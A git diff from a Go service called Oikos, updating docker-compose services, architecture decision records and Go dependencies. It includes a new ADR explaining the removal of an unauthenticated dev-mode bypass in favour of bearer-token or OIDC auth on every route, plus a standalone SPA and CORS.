OIKOS_OIDC_ISSUER: ${OIKOS_OIDC_ISSUER:-https://auth.hubris.network/application/o/oikos/}
|
||||
OIKOS_OIDC_CLIENT_ID: ${OIKOS_OIDC_CLIENT_ID:-otkHBSueHJsYtOHstL6rn5izeGgyOsavp1qA1hod}
|
||||
OIKOS_NOMOS_AGENT_SLUG: ${OIKOS_NOMOS_AGENT_SLUG:-agent:nomos}
|
||||
NOMOS_PROXY_URL: http://nomos:8092
|
||||
volumes:
|
||||
@@ -75,6 +89,7 @@ services:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: compose/oikos/Dockerfile
|
||||
restart: unless-stopped
|
||||
profiles: ["dev", "full"]
|
||||
depends_on:
|
||||
seed:
|
||||
@@ -98,6 +113,7 @@ services:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: compose/oikos/Dockerfile
|
||||
restart: unless-stopped
|
||||
profiles: ["dev", "full"]
|
||||
depends_on:
|
||||
seed:
|
||||
@@ -119,6 +135,7 @@ services:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: compose/nomos/Dockerfile
|
||||
restart: unless-stopped
|
||||
profiles: ["full"]
|
||||
depends_on:
|
||||
api:
|
||||
@@ -127,16 +144,34 @@ services:
|
||||
NOMOS_MCP_URL: http://api:8090/mcp
|
||||
NOMOS_AGENT_SLUG: agent:nomos
|
||||
OPENROUTER_API_KEY: ${OPENROUTER_API_KEY}
|
||||
NOMOS_MODEL: ${NOMOS_MODEL:-deepseek/deepseek-v4-flash}
|
||||
NOMOS_MODEL: ${NOMOS_MODEL:-deepseek/deepseek-v4-pro}
|
||||
DATABASE_URL: postgres://oikos:${OIKOS_DB_PASSWORD:-oikos_dev}@postgres:5432/oikos?sslmode=disable
|
||||
# Must match api's OIKOS_MCP_BEARER_TOKEN above — api's combinedAuth
|
||||
# rejects every request without it now (no dev-open bypass).
|
||||
OIKOS_MCP_BEARER_TOKEN: ${OIKOS_MCP_BEARER_TOKEN:-dev-token}
|
||||
ports:
|
||||
- "8092:8092"
|
||||
stop_signal: SIGTERM
|
||||
stop_grace_period: 10s
|
||||
|
||||
# Control-room SPA — static build served behind Caddy. The outer
|
||||
# production Caddy (caddy-conf repo, LXC 121) splits /api/*, /mcp,
|
||||
# /agent/* off to api:8090 and sends everything else here; this
|
||||
# container only serves static files with SPA-fallback routing.
|
||||
web:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: compose/web/Dockerfile
|
||||
restart: unless-stopped
|
||||
profiles: ["dev", "full"]
|
||||
ports:
|
||||
- "8091:80"
|
||||
stop_signal: SIGTERM
|
||||
|
||||
# Redis (required by Infisical — Phase 5)
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
restart: unless-stopped
|
||||
profiles: ["infisical", "full"]
|
||||
volumes:
|
||||
- redis-data:/data
|
||||
@@ -149,6 +184,7 @@ services:
|
||||
# Infisical self-hosted (Phase 5 secrets management)
|
||||
infisical:
|
||||
image: infisical/infisical:latest
|
||||
restart: unless-stopped
|
||||
profiles: ["infisical", "full"]
|
||||
depends_on:
|
||||
postgres:
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
# Signal Trigger Architecture
|
||||
# ADR 0013 — Signal trigger architecture
|
||||
|
||||
**Status:** Accepted
|
||||
**Date:** 2026-07-08
|
||||
|
||||
## Overview
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Oikos Entity Model — Types, Relationships & Interactions
|
||||
# ADR 0014 — Entity model: types, relationships & interactions
|
||||
|
||||
**Status:** Adopted
|
||||
**Status:** Accepted
|
||||
**Date:** 2026-07-08
|
||||
**Scope:** Full inventory of every entity type, relationship, state machine, and
|
||||
cognition pipeline — with clear markers for what is **code-real** vs **schema-only**.
|
||||
|
||||
62
docs/adr/0015-api-bearer-auth-client-server-split.md
Normal file
62
docs/adr/0015-api-bearer-auth-client-server-split.md
Normal file
@@ -0,0 +1,62 @@
|
||||
# ADR 0015 — Bearer-token auth for every route + client/server split
|
||||
|
||||
Status: accepted (2026-07-12) · Plan: plans/2026-07-12-wails-desktop-app.md, Phase 0
|
||||
|
||||
## Context
|
||||
The control-room SPA was embedded in the `oikos` binary (`go:embed`,
|
||||
ADR 0001) and served at `/ui/*`. `combinedAuth` (`internal/httpapi/server.go`)
|
||||
opened a dev-open bypass — no credential required at all — whenever
|
||||
`OIKOS_ENV=dev` and no static token/OIDC issuer was configured. That was
|
||||
true not just in local dev but in the actual mac-mini production deploy:
|
||||
`docker-compose.yml`'s `api` service hardcoded `OIKOS_ENV: dev` with no
|
||||
token set, so every route (`/api/v1/*`, `/mcp`, and an `/agent` reverse-proxy
|
||||
mount to nomos that had never been wrapped in `combinedAuth` at all) was
|
||||
reachable unauthenticated from anywhere on the mesh/LAN. A planned Wails
|
||||
desktop client and any future non-browser client can't rely on same-origin
|
||||
requests or a dev-open bypass; they need the SPA to be a standalone,
|
||||
CORS-capable client that authenticates over HTTP like any other caller.
|
||||
|
||||
## Decision
|
||||
- Delete the SPA embed (`web/embed.go`, the `/ui/*` routes). `web/` is a
|
||||
standalone static build, deployed separately (`make ui` / `make
|
||||
deploy-ui`), served at `/` by Caddy with SPA fallback.
|
||||
- Remove the dev-open bypass entirely. Every route requires a valid
|
||||
static bearer token (`OIKOS_API_TOKEN` / `OIKOS_MCP_BEARER_TOKEN`) or an
|
||||
OIDC JWT, with two narrow exceptions: `/healthz` (liveness) and
|
||||
`POST /api/v1/clients/enroll` (IP-gated in the handler instead).
|
||||
`GET /api/v1/events/stream` additionally accepts the token as a
|
||||
`?token=` query param, since `EventSource` can't set custom headers.
|
||||
- Add CORS (`github.com/go-chi/cors`, `OIKOS_CORS_ORIGIN`, default `*`) so a
|
||||
cross-origin SPA (Vite dev server, a future Wails webview) can reach the
|
||||
API. No `AllowCredentials` — auth is a header, not a cookie, so
|
||||
credentialed CORS mode isn't needed and the two don't combine safely with
|
||||
a wildcard origin.
|
||||
- Wrap the previously-unauthenticated `/agent` proxy mount in the same
|
||||
`combinedAuth` middleware as every other route.
|
||||
- `cmd/nomos` becomes an authenticated client of `api`: it now sends
|
||||
`Authorization: Bearer $OIKOS_MCP_BEARER_TOKEN` on its own outbound calls
|
||||
(MCP + the chat-assent approval-decision endpoint), which it never did
|
||||
before — dev-open covered for it until now.
|
||||
- The SPA gets a runtime config module (`web/src/lib/config.ts`) and a
|
||||
first-launch `Config.svelte` screen: server URL + token, stored in
|
||||
`localStorage`, injected into every `fetch()` via a shared
|
||||
`fetchWithAuth` wrapper. Resolved fresh per request (not cached at
|
||||
module-load time), so the same build works same-origin or cross-origin
|
||||
without a rebuild.
|
||||
|
||||
## Consequences
|
||||
- Closing dev-open was a live security fix, not just future-proofing —
|
||||
verified post-deploy that unauthenticated requests to production now 401.
|
||||
- Nomos's *own* HTTP gateway (`cmd/nomos`, port 8092) still has no auth of
|
||||
its own — out of scope here, tracked separately
|
||||
(plans/2026-07-11-nomos-agent-code-review.md, finding C1).
|
||||
- Production Caddy (`dtoro/caddy-conf`, not this repo) does not yet expose
|
||||
`oikos.hubris.network` at all, so the interaction between Authentik
|
||||
forward-auth and bearer-token clients (a non-browser client can't
|
||||
complete a browser SSO redirect) is unresolved — needs an `@enroll`-style
|
||||
bypass for `/api/v1/*`/`/mcp`/`/agent/*` before public exposure. This
|
||||
repo's `compose/caddy/Caddyfile.oikos` (a reference copy, not deployed
|
||||
from here) has the bypass; the real config does not yet.
|
||||
- There is one shared bearer secret for all agents/clients, not per-client
|
||||
tokens — acceptable for the current fleet size, revisit if per-client
|
||||
revocation becomes necessary.
|
||||
@@ -5,7 +5,7 @@ after acceptance — superseding decisions get a new ADR that links back.
|
||||
Statuses: proposed | accepted | superseded-by-NNNN.
|
||||
|
||||
| ADR | Title |
|
||||
|---|---|---|
|
||||
|---|---|
|
||||
| [0001](0001-go-single-binary.md) | Go with single-binary role packaging |
|
||||
| [0002](0002-postgres-timescale-only-datastore.md) | PostgreSQL + TimescaleDB as the only datastore |
|
||||
| [0003](0003-db-native-ontology-yaml-seeds.md) | DB-native ontology with YAML seed manifests |
|
||||
@@ -16,7 +16,8 @@ Statuses: proposed | accepted | superseded-by-NNNN.
|
||||
| [0008](0008-forward-only-migrations.md) | Forward-only migrations |
|
||||
| [0009](0009-sse-over-websocket.md) | SSE over WebSocket for the event stream |
|
||||
| [0010](0010-infisical-with-sops-fallback.md) | Infisical secrets with SOPS DR fallback |
|
||||
| [0011](0011-client-lifecycle-flows.md) | Client lifecycle flows — enrollment, bootstrap, sync |
|
||||
| [0012](0012-hermes-oikos-interactions.md) | Hermes–Oikos interactions — agent/OS contract |
|
||||
| [0013](0013-signal-triggers.md) | Signal triggers — host health checks via scheduler |
|
||||
| [0011](0011-client-lifecycle-flows.md) | Client lifecycle sequence diagrams |
|
||||
| [0012](0012-hermes-oikos-interactions.md) | Hermes/Oikos interaction architecture |
|
||||
| [0013](0013-signal-triggers.md) | Signal trigger architecture |
|
||||
| [0014](0014-entity-model.md) | Entity model — types, relationships, state machines, OODA loop |
|
||||
| [0015](0015-api-bearer-auth-client-server-split.md) | Bearer-token auth for every route + client/server split |
|
||||
|
||||
11
go.mod
11
go.mod
@@ -5,6 +5,7 @@ go 1.26.3
|
||||
require (
|
||||
github.com/getkin/kin-openapi v0.140.0
|
||||
github.com/go-chi/chi/v5 v5.3.1
|
||||
github.com/go-chi/cors v1.2.2
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1
|
||||
github.com/google/jsonschema-go v0.4.3
|
||||
github.com/google/uuid v1.6.0
|
||||
@@ -13,6 +14,8 @@ require (
|
||||
github.com/modelcontextprotocol/go-sdk v1.6.1
|
||||
github.com/oapi-codegen/runtime v1.4.2
|
||||
github.com/openai/openai-go v1.12.0
|
||||
github.com/wailsapp/wails/v3 v3.0.0-alpha2.117
|
||||
github.com/zalando/go-keyring v0.2.8
|
||||
golang.org/x/crypto v0.53.0
|
||||
golang.org/x/sync v0.21.0
|
||||
golang.org/x/sys v0.46.0
|
||||
@@ -24,6 +27,7 @@ require (
|
||||
cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect
|
||||
cloud.google.com/go/compute/metadata v0.9.0 // indirect
|
||||
cloud.google.com/go/iam v1.1.11 // indirect
|
||||
github.com/adrg/xdg v0.5.3 // indirect
|
||||
github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.27.2 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.27.18 // indirect
|
||||
@@ -39,12 +43,16 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.28.12 // indirect
|
||||
github.com/aws/smithy-go v1.20.2 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/coder/websocket v1.8.14 // indirect
|
||||
github.com/danieljoos/wincred v1.2.3 // indirect
|
||||
github.com/felixge/httpsnoop v1.0.4 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||
github.com/go-openapi/jsonpointer v0.22.5 // indirect
|
||||
github.com/go-openapi/swag/jsonname v0.25.5 // indirect
|
||||
github.com/go-resty/resty/v2 v2.13.1 // indirect
|
||||
github.com/godbus/dbus/v5 v5.2.2 // indirect
|
||||
github.com/gofrs/flock v0.8.1 // indirect
|
||||
github.com/google/s2a-go v0.1.9 // indirect
|
||||
github.com/googleapis/enterprise-certificate-proxy v0.3.11 // indirect
|
||||
@@ -53,6 +61,9 @@ require (
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
|
||||
github.com/jackc/puddle/v2 v2.2.2 // indirect
|
||||
github.com/jchv/go-winloader v0.0.0-20250406163304-c1995be93bd1 // indirect
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/oasdiff/yaml v0.1.0 // indirect
|
||||
github.com/oasdiff/yaml3 v0.0.13 // indirect
|
||||
github.com/oracle/oci-go-sdk/v65 v65.95.2 // indirect
|
||||
|
||||
35
go.sum
35
go.sum
@@ -7,6 +7,8 @@ cloud.google.com/go/compute/metadata v0.9.0/go.mod h1:E0bWwX5wTnLPedCKqk3pJmVgCB
|
||||
cloud.google.com/go/iam v1.1.11 h1:0mQ8UKSfdHLut6pH9FM3bI55KWR46ketn0PuXleDyxw=
|
||||
cloud.google.com/go/iam v1.1.11/go.mod h1:biXoiLWYIKntto2joP+62sd9uW5EpkZmKIvfNcTWlnQ=
|
||||
github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk=
|
||||
github.com/adrg/xdg v0.5.3 h1:xRnxJXne7+oWDatRhR1JLnvuccuIeCoBu2rtuLqQB78=
|
||||
github.com/adrg/xdg v0.5.3/go.mod h1:nlTsY+NNiCBGCK2tpm09vRqfVzrc2fLmXGpBLF0zlTQ=
|
||||
github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ=
|
||||
github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk=
|
||||
github.com/aws/aws-sdk-go-v2 v1.27.2 h1:pLsTXqX93rimAOZG2FIYraDQstZaaGVVN4tNw65v0h8=
|
||||
@@ -40,12 +42,16 @@ github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UF
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
|
||||
github.com/coder/websocket v1.8.14 h1:9L0p0iKiNOibykf283eHkKUHHrpG7f65OE3BhhO7v9g=
|
||||
github.com/coder/websocket v1.8.14/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg=
|
||||
github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||
github.com/danieljoos/wincred v1.2.3 h1:v7dZC2x32Ut3nEfRH+vhoZGvN72+dQ/snVXo/vMFLdQ=
|
||||
github.com/danieljoos/wincred v1.2.3/go.mod h1:6qqX0WNrS4RzPZ1tnroDzq9kY3fu1KwE7MRLQK4X0bs=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI=
|
||||
github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/dlclark/regexp2 v1.11.5 h1:Q/sSnsKerHeCkc/jSTNq1oCm7KiVgUMZRDUoRu0JQZQ=
|
||||
github.com/dlclark/regexp2 v1.11.5/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/envoyproxy/go-control-plane v0.14.0 h1:hbG2kr4RuFj222B6+7T83thSPqLjwBIfQawTkC++2HA=
|
||||
github.com/envoyproxy/go-control-plane/envoy v1.36.0 h1:yg/JjO5E7ubRyKX3m07GF3reDNEnfOboJ0QySbH736g=
|
||||
github.com/envoyproxy/go-control-plane/envoy v1.36.0/go.mod h1:ty89S1YCCVruQAm9OtKeEkQLTb+Lkz0k8v9W0Oxsv98=
|
||||
@@ -57,11 +63,17 @@ github.com/getkin/kin-openapi v0.140.0 h1:JFn675aXRFjyiZKa/BFWploGldQlI0gobp4J5k
|
||||
github.com/getkin/kin-openapi v0.140.0/go.mod h1:lISrB64F0CPcuDJ3LdtPTMJBY8VENjR9wJBdrcT6J3g=
|
||||
github.com/go-chi/chi/v5 v5.3.1 h1:3j4HZLGZQ3JpMCrPJF/Jl3mYJfWLKBfNJ6quurUGCf8=
|
||||
github.com/go-chi/chi/v5 v5.3.1/go.mod h1:R+tYY2hNuVUUjxoPtqUdgBqevM9s9njzkTLutVsOCto=
|
||||
github.com/go-chi/cors v1.2.2 h1:Jmey33TE+b+rB7fT8MUy1u0I4L+NARQlK6LhzKPSyQE=
|
||||
github.com/go-chi/cors v1.2.2/go.mod h1:sSbTewc+6wYHBBCW7ytsFSn836hqM7JxpglAy2Vzc58=
|
||||
github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e h1:Lf/gRkoycfOBPa42vU2bbgPurFong6zXeFtPoxholzU=
|
||||
github.com/go-json-experiment/json v0.0.0-20251027170946-4849db3c2f7e/go.mod h1:uNVvRXArCGbZ508SxYYTC5v1JWoz2voff5pm25jU1Ok=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||
github.com/go-openapi/jsonpointer v0.22.5 h1:8on/0Yp4uTb9f4XvTrM2+1CPrV05QPZXu+rvu2o9jcA=
|
||||
github.com/go-openapi/jsonpointer v0.22.5/go.mod h1:gyUR3sCvGSWchA2sUBJGluYMbe1zazrYWIkWPjjMUY0=
|
||||
github.com/go-openapi/swag/jsonname v0.25.5 h1:8p150i44rv/Drip4vWI3kGi9+4W9TdI3US3uUYSFhSo=
|
||||
@@ -71,6 +83,8 @@ github.com/go-openapi/testify/v2 v2.4.0/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16p
|
||||
github.com/go-resty/resty/v2 v2.13.1 h1:x+LHXBI2nMB1vqndymf26quycC4aggYJ7DECYbiz03g=
|
||||
github.com/go-resty/resty/v2 v2.13.1/go.mod h1:GznXlLxkq6Nh4sU59rPmUw3VtgpO3aS96ORAI6Q7d+0=
|
||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/godbus/dbus/v5 v5.2.2 h1:TUR3TgtSVDmjiXOgAAyaZbYmIeP3DPkld3jgKGV8mXQ=
|
||||
github.com/godbus/dbus/v5 v5.2.2/go.mod h1:3AAv2+hPq5rdnr5txxxRwiGjPXamgoIHgz9FPBfOp3c=
|
||||
github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw=
|
||||
github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
|
||||
@@ -101,11 +115,19 @@ github.com/jackc/pgx/v5 v5.10.0 h1:VhSvgU2jSli8o3AqIEOTJr7rZwAEUVo4E4XhR94Zfr0=
|
||||
github.com/jackc/pgx/v5 v5.10.0/go.mod h1:mal1tBGAFfLHvZzaYh77YS/eC6IX9OWbRV1QIIM0Jn4=
|
||||
github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo=
|
||||
github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jchv/go-winloader v0.0.0-20250406163304-c1995be93bd1 h1:njuLRcjAuMKr7kI3D85AXWkw6/+v9PwtV6M6o11sWHQ=
|
||||
github.com/jchv/go-winloader v0.0.0-20250406163304-c1995be93bd1/go.mod h1:alcuEEnZsY1WQsagKhZDsoPCRoOijYqhZvPwLG0kzVs=
|
||||
github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/matryer/is v1.4.1 h1:55ehd8zaGABKLXQUe2awZ99BD/PTc2ls+KV/dXphgEQ=
|
||||
github.com/matryer/is v1.4.1/go.mod h1:8I/i5uYgLzgsgEloJE1U6xx5HkBQpAZvepWuujKwMRU=
|
||||
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
|
||||
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/modelcontextprotocol/go-sdk v1.6.1 h1:0zOSupjKUxPKSocPT1Wtago+mUHU2/uZ4xSOY0FGReU=
|
||||
github.com/modelcontextprotocol/go-sdk v1.6.1/go.mod h1:kzm3kzFL1/+AziGOE0nUs3gvPoNxMCvkxokMkuFapXQ=
|
||||
github.com/oapi-codegen/nullable v1.1.0 h1:eAh8JVc5430VtYVnq00Hrbpag9PFRGWLjxR1/3KntMs=
|
||||
@@ -142,6 +164,8 @@ github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKk
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
|
||||
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
@@ -159,12 +183,16 @@ github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
|
||||
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
|
||||
github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY=
|
||||
github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28=
|
||||
github.com/wailsapp/wails/v3 v3.0.0-alpha2.117 h1:udyjqPG3AIgkod5QDR/WblCkpV8R86BFPSrsWxSyt5Y=
|
||||
github.com/wailsapp/wails/v3 v3.0.0-alpha2.117/go.mod h1:74WH2FScMsgucZvHHvv7eOefDXCm/CjuIxqhhZgPhKg=
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4=
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
|
||||
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 h1:ilQV1hzziu+LLM3zUTJ0trRztfwgjqKnBWNtSRkbmwM=
|
||||
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78/go.mod h1:aL8wCCfTfSfmXjznFBSZNN13rSJjlIOI1fUNAtF7rmI=
|
||||
github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/zalando/go-keyring v0.2.8 h1:6sD/Ucpl7jNq10rM2pgqTs0sZ9V3qMrqfIIy5YPccHs=
|
||||
github.com/zalando/go-keyring v0.2.8/go.mod h1:tsMo+VpRq5NGyKfxoBVjCuMrG47yj8cmakZDO5QGii0=
|
||||
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
|
||||
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
|
||||
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0 h1:q4XOmH/0opmeuJtPsbFNivyl7bCt7yRBbeEm2sC/XtQ=
|
||||
@@ -214,13 +242,16 @@ golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM=
|
||||
golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200810151505-1b9f1253b3ed/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
